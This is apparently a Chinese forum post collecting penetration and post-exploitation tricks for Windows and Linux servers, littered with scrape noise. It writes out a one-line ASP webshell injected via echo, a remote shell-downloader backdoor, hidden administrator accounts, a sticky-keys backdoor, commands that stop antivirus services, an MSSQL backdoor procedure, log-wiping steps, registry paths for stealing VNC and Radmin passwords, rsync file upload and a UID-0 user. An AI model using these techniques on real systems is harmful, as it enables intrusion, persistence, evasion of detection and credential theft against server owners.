渗透技巧总结

admin

旁站路径问题
# {3 R1 E( k0 [( a$ S1 C0 R1、读网站配置。
. N8 l8 l- D2 \# g7 f8 U7 e! J2、用以下VBS
- T* G4 G' v  R6 w! POn Error Resume Next
If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
        
4 p" c/ E" d0 `( P* V( `
Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "
2 X6 X! }' Q* `4 j
Usage:Cscript vWeb.vbs",4096,"Lilo"
        WScript.Quit
End If
6 z. ^/ i  L" X  N: wSet ObjService=GetObject
9 R  F7 Y5 F/ R6 ]. V: g' ^
( `$ x. V( m; A; n("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
        If IsNumeric(obj3w.Name)

Then
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
         
; m& n3 }# v( w$ e7 N/ {( F9 ]
6 Y, }2 j8 Z: h% Z       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
2 Z) Q" V" r7 P/ X. C                If Err

4 K6 I5 J% I; Z<> 0 Then WScript.Quit (1)
                WScript.Echo Chr(10) & "[" &

OService.ServerComment & "]"
                For Each Binds In OService.ServerBindings
     
- v. ]0 L3 m0 K  X5 O
( T  `' G, V1 A+ g+ i4 D5 j                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
                        
: @; \/ H* f  E5 s
( @8 d( ~6 ?7 m% j- J) IWScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
                Next
      
, d" }, V, T/ B: ], K  n& O
3 ?7 R2 P! ~2 E$ ~& @" q7 l         WScript.Echo "ath            : " & VDirObj.Path
" f, S( h+ S! O        End If
Next
1 }! ]  K3 k5 G- V复制代码
, Q3 c: I- o" q) O3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
WordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
url/wp-content/plugins/akismet/hello.php
. p/ G( _/ h; f3 H( t: L——————————————————————
phpMyAdmin暴路径办法:
& {. L2 ?, p. l5 `; H; @' AphpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
$ c* U& N3 K% L: n1 J, ~phpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
! q) r9 |4 C, e. y3 t网站可能目录(注：一般是虚拟主机类）
data/htdocs.网站/网站/
————————————————————
CMD下操作VPN相关
4 Q9 X! d: j/ B& P0 hnetsh ras set user administrator permit #允许administrator拨入该VPN
netsh ras set user administrator deny #禁止administrator拨入该VPN
+ M  @8 I+ G& _+ `& q9 bnetsh ras show user #查看哪些用户可以拨入VPN
7 _0 f4 [5 c& Xnetsh ras ip show config #查看VPN分配IP的方式
netsh ras ip set addrassign method = pool #使用地址池的方式分配IP
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
/ }* v# V1 ~4 Y  I+ x: r————————————————————
命令行下添加SQL用户的方法
7 N2 r' E. U: ]% @, n/ i, t9 F4 j需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
1 W6 d, c5 Z2 ^* U1 V; ^- o9 ]: L6 rexec master.dbo.sp_addlogin test,123
; g* x- Z4 T( c( Z8 K/ b8 ?9 tEXEC sp_addsrvrolemember 'test, 'sysadmin'
然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry
% l4 d( ?* o% J, K6 G6 X
+ L$ ~7 @. F0 h0 L  w9 h另类的加用户方法
4 D9 |1 k/ N9 R. |( ^; ^9 P在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
% N5 d# J6 g. P0 N) p& njs:
, u0 L+ v$ P7 G2 pvar o=new ActiveXObject( "Shell.Users" );
! k9 g. }; o% H9 w$ o3 Tz=o.create("test") ;
" L6 h  K# u/ x; t' O0 w& ?3 Gz.changePassword("123456","")
; |& m. ~: L2 C5 U1 J/ \z.setting("AccountType")=3;
& J: V% I% n! f; j* x
$ _) M9 Q5 f5 c, U# H4 d1 Bvbs:
' B+ F1 N7 F$ I- B3 b' ZSet   o=CreateObject( "Shell.Users" )
Set z=o.create("test")
5 k+ p% _8 V7 S1 x! L2 z0 f4 r/ ]z.changePassword "123456",""
z.setting("AccountType")=3
——————————————————
cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）
9 Q8 C* F7 t4 t4 I0 h  l' m
2 n/ g( \+ i  S$ t命令如下
cacls c: /e /t /g everyone:F           #c盘everyone权限
4 b8 q, c# K- ]  bcacls "目录" /d everyone               #everyone不可读，包括admin
6 u0 w: F, O7 M————————以下配合PR更好————
2 F: x; o+ F2 m4 S3389相关
. ~$ R1 M1 d' ^; ]" a9 K, s& U  Ua、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
4 Y- p" K7 }1 a( {b、内网环境（LCX）
  D4 s9 V6 F3 E8 o  C7 h# P' jc、终端服务器超出了最大允许连接
XP 运行mstsc /admin
2003 运行mstsc /console   
7 T; x! i- F9 Y/ H" s# L
杀软关闭（把杀软所在的文件的所有权限去掉）
处理变态诺顿企业版：
net stop "Symantec AntiVirus" /y
net stop "Symantec AntiVirus Definition Watcher" /y
+ u, K4 n; B5 g8 C" ^' f' v) Fnet stop "Symantec Event Manager" /y
net stop "System Event Notification" /y
, R- h4 B0 [6 p- m/ w3 l" Z/ tnet stop "Symantec Settings Manager" /y
  `0 X8 z5 P" a2 b
卖咖啡：net stop "McAfee McShield"
. a2 V( s! s* [  u————————————————————

/ b  y# ~' h( X+ _5 q. P* Z3 b5次SHIFT：
copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
- S4 N7 j  E3 _; j. kcopy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
) z% w# l5 Y; \9 M* e0 u/ b  |copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
( h$ I, ^* F3 a——————————————————————
隐藏账号添加：
1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
/ h' y5 z7 T$ j: Q5 G2、导出注册表SAM下用户的两个键值
8 `+ T" X- g( q4 ?3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
  Z' C8 k. L8 g' @3 s9 Y1 R6 {4、利用Hacker Defender把相关用户注册表隐藏
: G& @4 o, K" V) N——————————————————————
MSSQL扩展后门：
USE master;
+ s5 W1 w) A  r7 vEXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
$ `- v9 o; \+ B/ ]( o% L8 T———————————————————————
" T6 q  w" e2 }9 b日志处理
) F% b4 q* ?% d; ?9 O5 z8 t& m8 vC:\WINNT\system32\LogFiles\MSFTPSVC1>下有
+ R9 u) D% e5 g3 P+ w! o* O% zex011120.log / ex011121.log / ex011124.log三个文件，
直接删除 ex0111124.log
不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
6 a3 o1 Z5 o/ m8 `; B7 ^  X当停止msftpsvc服务后可直接删除ex011124.log
" ^6 p1 q# a5 f
MSSQL查询分析器连接记录清除：
MSSQL 2000位于注册表如下：
HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
0 W7 x' N- k4 ]: s# x找到接接过的信息删除。
, F9 T9 j3 ]/ {6 c* sMSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL
) T  J: @: s6 q: [. _
Server\90\Tools\Shell\mru.dat
—————————————————————————
2 U! |8 ^- U7 q5 ~) E防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
% P# W/ a/ {" T. Q+ p9 g& [
+ v* U) V3 [: ?1 P1 N. p<%
Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
7 h  T& k4 M) g$ r' s7 f9 eDim Ads, Retrieval, GetRemoteData
On Error Resume Next
1 D! I% P6 \( Z' F. ?5 ~# ESet Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
.Send
GetRemoteData = .ResponseBody
End With
3 \0 R! {4 d( ~  J% W8 CSet Retrieval = Nothing
% K$ T" s0 X7 S4 n2 p9 f4 i2 ZSet Ads = Server.CreateObject("Adodb.Stream")
With Ads
6 @4 g' G0 E* F6 b9 o9 e.Type = 1
8 N2 t* L" Z  q/ d0 `) N.Open
.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
.Cancel()
. U& p% \! r+ m2 H6 F, j' C2 z.Close()
6 ^" m3 F9 ]/ P) s7 l" pEnd With
& O$ n# [: H" X+ c5 }2 f& x0 }: TSet Ads=nothing
End Sub

$ J0 l9 Q, e+ Z4 \2 q8 L* T0 PeWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
# {8 g) `( j) V4 y& @$ g%>
; W% }* c5 L5 I: D1 m3 S( h
- o% F' A* ]5 `- H2 B2 n5 hVNC提权方法:
利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
" V( N* F! m  b9 F  ]! Y注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
  u1 o' e6 A& U- d  T+ j  }; _/ bregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
9 i+ K( S* X" B, f2 X) a) n/ y0 kregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
0 ~" _* A0 S' b2 Y! E- s) m, NRadmin 默认端口是4899，
; N: ]7 a# {& \0 }  b1 OHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
2 M% V( L: P  J: ZHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
然后用HASH版连接。
如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
0 H9 H2 h; y4 y/ h* J8 ]Users\Application Data\Symantec\pcAnywhere\文件夹下。
. t" A4 _; O9 g  f) C& i——————————————————————
$ d9 @9 S, S, L/ u$ q& A搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
' G2 ]# n5 l# B3 C9 YWinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
: M1 h1 F1 C! v+ @来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
! _4 x. E7 F) }  }. v没有删cmd组建的直接加用户。
$ ^7 F5 h' o5 V% |+ _. p7i24的web目录也是可写，权限为administrator。
8 p$ U' |+ y5 x) i1 T1 u
1433 SA点构建注入点。
<%
4 K" B( @1 J% E; p( D0 wstrSQLServerName = "服务器ip"
8 L3 c  t7 o6 V: ]( K* M( JstrSQLDBUserName = "数据库帐号"
strSQLDBPassword = "数据库密码"
strSQLDBName = "数据库名称"
Set conn = Server.createObject("ADODB.Connection")
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &

";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
7 T% j) u# n7 y8 x" j# l( s
strSQLDBName & ";"
conn.open strCon
+ H. u% V0 P# f* A: f# x, N/ Jdim rs,strSQL,id
( z8 X- P% k" rset rs=server.createobject("ADODB.recordset")
id = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
%>
6 c4 {- E5 m/ C5 c复制代码
2 @2 G& [# R$ }6 d; j7 w******liunx 相关******
0 g& \6 W, H- I# E1 e. M一.ldap渗透技巧
1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式
9 t$ }- d! s) L1 f- ^( Y
2.less /etc/ldap.conf
" s, o' H; K6 z& Rbase ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置
2 T9 b; J. i0 h0 {$ E6 l% k' U
3.查找管理员信息
) V+ R. K- F! T# v; v- x匿名方式
9 W4 J7 o0 ]4 I5 Bldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

6 ]* S$ Q3 F' }/ \- V, k"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
; O  n( F" z7 e, a有密码形式
9 b) r$ v5 r1 O4 a' p; j" B6 Eldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2


4.查找10条用户记录
: l- i: E# l2 ~+ Hldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
2 |- k# N6 L' d' X& S" k
实战:
+ q; {: m% Z6 t2 h% q1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式

2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
4 }) d" E7 _: P8 v% m$ @找到ou,dc,dc设置
) A" S- l, H( U: V  H- I8 m+ |: Q: D5 b
0 W1 I) N( r! c$ h# `1 x9 X3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
% R& n4 l' E3 o( Y
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

) Y0 q5 }$ ]& f" m# ?
# P- V% g" E6 [& d, K4.查找10条用户记录
5 Y2 {# Q* Y; pldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

渗透实战:
- j8 ~; M2 P1 B) f$ [0 w1.返回所有的属性
5 x' K. L% [* q) b. `, zldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
version: 1
! v) n; k7 D5 O5 a0 [& adn: dc=ruc,dc=edu,dc=cn
dc: ruc
% I6 b/ _2 ?" ?& E/ h4 ~objectClass: domain

dn: uid=manager,dc=ruc,dc=edu,dc=cn
. O, H1 T' i  s; R5 ]5 }" ?uid: manager
2 V/ d0 `  I7 ?objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
objectClass: top
. k5 E  A. ]) N% |sn: manager
4 d- ?# W, i& `9 z3 j; pcn: manager
. L+ n2 T  \) G) H4 f8 C$ m& c
& f- Y# @" a  Y4 n* X$ adn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
) X+ n& {; S( h. N; H* IobjectClass: inetOrgPerson
8 N. G- x( J) M" d4 NobjectClass: organizationalPerson
objectClass: person
- P1 j9 @/ {- y2 }& A2 J; M; NobjectClass: top
! L, i! {: O" f5 c' Ssn: superadmin
cn: superadmin
; Q4 C0 M# ]' O3 A
2 k) ?# Y; \2 C6 l4 x: H: f$ Fdn: uid=admin,dc=ruc,dc=edu,dc=cn
# T/ |# I: b. b' ?uid: admin
objectClass: inetOrgPerson
+ Z1 i% i& ~, {2 AobjectClass: organizationalPerson
3 [0 O" `. G6 o% D- `6 MobjectClass: person
1 {# k  k" I: l6 B2 S7 s6 uobjectClass: top
sn: admin
cn: admin
$ I8 ?# z: W1 [! }3 H
1 L2 a7 ]7 R; Ndn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
, e: v* k8 }% Wuid: dcp_anonymous
objectClass: top
' ^  p& V" p: S6 U6 q, |0 KobjectClass: person
0 ~# n  ?/ C7 e, N" ~+ {( IobjectClass: organizationalPerson
- z7 b( o( N( G/ M. j7 JobjectClass: inetOrgPerson
sn: dcp_anonymous
: ^) P# m5 q, O& o, C0 lcn: dcp_anonymous
' v$ M' \+ S6 x0 |" ]% s% k# y. b6 C
/ h0 u. s. M% K+ i2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |
0 _9 C; M- N: C2 }
more
( K- _6 y5 f/ _& K1 eversion: 1
- ]8 y7 J  I3 {* x" q7 w( ?) _% ddn: dc=ruc,dc=edu,dc=cn
, E( q; ]: Q5 g/ j' V4 Xdc: ruc
objectClass: domain

  ~" @4 h! Y3 t" p" C6 W1 I! L3.查找
$ t8 d  g. D, D. V: o1 d1 Obash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
$ j  o6 L  k( {+ O. t3 Pdn:
objectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
& s/ N* C" y( {$ X. gsupportedExtension: 2.16.840.1.113730.3.5.7
' g3 F- [7 E* m3 f- o! AsupportedExtension: 2.16.840.1.113730.3.5.8
supportedExtension: 1.3.6.1.4.1.4203.1.11.1
( h% L* A$ \) H* ssupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
supportedExtension: 2.16.840.1.113730.3.5.3
* g7 W' @$ _0 L1 l! q: B1 @; dsupportedExtension: 2.16.840.1.113730.3.5.5
supportedExtension: 2.16.840.1.113730.3.5.6
supportedExtension: 2.16.840.1.113730.3.5.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
- V+ u: Y5 |. EsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
8 A, I8 J' }" J# U6 e* j! c7 esupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
: ~/ d& I% ?2 y3 W( d, P- y% rsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
* F& N; Z' u; k, q% CsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
, ]0 b& R7 d) O" {4 ^- m: {8 r2 jsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
7 X* R" _" W+ r( w) IsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
! ^2 k0 |) j- W- @0 L6 H, r: HsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
1 v$ p: l  {1 N" v: Q, L5 V. |supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
supportedExtension: 1.3.6.1.4.1.1466.20037
* ]8 l0 O7 r) ^  J/ T, }supportedExtension: 1.3.6.1.4.1.4203.1.11.3
; Z* [7 O% r+ psupportedControl: 2.16.840.1.113730.3.4.2
7 g$ B7 N, n+ x; t, ksupportedControl: 2.16.840.1.113730.3.4.3
3 k5 |, i: i8 G2 n9 F) Z5 \  {supportedControl: 2.16.840.1.113730.3.4.4
+ ]! ~% j/ s, z7 OsupportedControl: 2.16.840.1.113730.3.4.5
5 b# \+ z9 Z5 l3 LsupportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
supportedControl: 2.16.840.1.113730.3.4.16
3 L3 V; ^5 Z( c0 @2 g$ ]supportedControl: 2.16.840.1.113730.3.4.15
" \; d& e6 X3 d7 m2 ^: csupportedControl: 2.16.840.1.113730.3.4.17
supportedControl: 2.16.840.1.113730.3.4.19
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
9 j3 o- `6 U# P# Q; R2 S1 ?: F& YsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
7 e' @. @: z6 G% QsupportedControl: 2.16.840.1.113730.3.4.12
% X! h3 D' V% a2 U: h1 zsupportedControl: 2.16.840.1.113730.3.4.18
3 }- c. M1 C5 c; q' ?supportedControl: 2.16.840.1.113730.3.4.13
2 [3 c/ J1 M0 v2 k8 i" {supportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 2
' d+ J: H0 u/ R4 x: R" U; hsupportedLDAPVersion: 3
vendorName: Sun Microsystems, Inc.
vendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
" Z; r* n9 s9 \, M% c  B/ Bnetscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
  H7 i! \; g, L! bsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
( j7 R1 M2 N; [( Y) esupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
$ y( H& T. z3 O0 Q+ q% \supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
% ?# ]* |5 @$ S' ~, Y" j; IsupportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
, m7 c5 s1 ~( ^, H& M" CsupportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
+ M- q. e9 n9 `supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
9 C4 b8 z6 t  ?; X1 e- d, ?supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
) e6 {8 k$ G' j6 Q( }supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
& I& ~$ F2 R! m: a# j. LsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
& S8 g$ L9 y/ L" GsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
  H( Z; E( J) I+ UsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
( \& ?. W. `) u6 ]' @1 L/ O: G7 DsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
2 x% q& i2 g3 r9 IsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
' a3 |, k3 z5 ysupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
8 G& W9 s' t0 W" }" esupportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
9 O) q- _% ]. y& h6 @1 K" TsupportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
8 I; g% i! b9 z% KsupportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
; b  c) D0 U" l! c+ f  E# {& S# _8 psupportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
6 J2 M) m% E$ k. {: z4 z8 JsupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
" P! Z; O" G. esupportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
$ n7 a9 Z- T4 _8 dsupportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
& }# I0 z+ J5 PsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
3 _) ?7 Z, S- j# l! DsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
" m" F) }' B% M' zsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
3 m. h& s. C  T* k+ bsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
& {( R. k. g* b1 `2 G* H- OsupportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
4 h6 x1 I& K9 i5 m; a# S" QsupportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
2. NFS渗透技巧
showmount -e ip
4 D& u' G- Z' D( o列举IP
——————
3.rsync渗透技巧
( m7 n; u5 A: U1.查看rsync服务器上的列表
4 ^: [8 ~  `; S& a4 _- ]; Zrsync 210.51.X.X::
finance
) S+ w3 _# S6 |* o0 `. p6 eimg_finance
) q0 d  _( |. c8 B4 vauto
img_auto
$ `) s8 h) W4 vhtml_cms
img_cms
ent_cms
- Z+ L! K) v) }  V0 Z$ |! cent_img
- G$ P: ]& f! ?) y; Z( Dceshi
res_img
  L; U; |! J- o3 O0 \) w, f$ r- ?2 ?res_img_c2
$ a+ `0 u: V, E7 `2 _9 tchip
chip_c2
ent_icms
$ w* C' a* ]4 x5 t+ [games
gamesimg
media
mediaimg
fashion
& d: K* h9 T! q+ f, [) tres-fashion
" g# ~8 O+ D) t7 Jres-fo
taobao-home
0 _( k% L! O) a+ H3 G5 G9 j4 {res-taobao-home
0 d; g9 @! o! p$ M; R% j: R' |house
5 \- _8 s: @2 M, I3 M* Ires-house
! u4 [1 G  b- H) Rres-home
: u$ [5 P0 O1 W; e8 |: Pres-edu
& Q7 u0 O/ G; e) Rres-ent
res-labs
res-news
res-phtv
0 f$ {/ }' w' \7 c  j9 [( m$ \res-media
) D4 S' I9 @. u. Q# P8 @" r7 t: shome
1 O0 k5 o$ Y" P. m# eedu
news
res-book

看相应的下级目录(注意一定要在目录后面添加上/)
; d) o( V2 G3 F
& C& W4 n6 i; C1 K$ E% v/ A
rsync 210.51.X.X::htdocs_app/
8 l1 k3 {2 s2 }2 u$ lrsync 210.51.X.X::auto/
4 J7 I/ [2 e& Grsync 210.51.X.X::edu/

2.下载rsync服务器上的配置文件
. }6 U/ K9 ^0 G2 u) ^, x4 Xrsync -avz 210.51.X.X::htdocs_app/ /tmp/app/
) w5 f- D5 T! @
3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
' n4 I6 s+ ?0 B) hhttp://app.finance.xxx.com/warn/nothack.txt

7 U+ D2 N) ^' v1 r6 v5 |7 F# ?四.squid渗透技巧
nc -vv baidu.com 80
/ b2 g/ X. y$ O& }, y9 g2 tGET HTTP://www.sina.com / HTTP/1.0
+ |! X! R0 W# \. AGET HTTP://WWW.sina.com:22 / HTTP/1.0
五.SSH端口转发
* }2 c& M- k% Z: Yssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip

六.joomla渗透小技巧
确定版本
index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-

15&catid=32:languages&Itemid=47
3 l8 M2 k; ~- k* g. t
重新设置密码
index.php?option=com_user&view=reset&layout=confirm
0 e' G) M6 ^0 e/ V+ D+ }
七: Linux添加UID为0的root用户
! U/ O4 D1 C* g8 quseradd -o -u 0 nothack

八.freebsd本地提权
[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
1 ?4 M# ~  j4 M8 _  A* [argp@julius ~]$ sysctl vfs.usermount
* vfs.usermount: 1
* [argp@julius ~]$ id
* uid=1001(argp) gid=1001(argp) groups=1001(argp)
  z" j$ v+ D4 G& Z* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
*
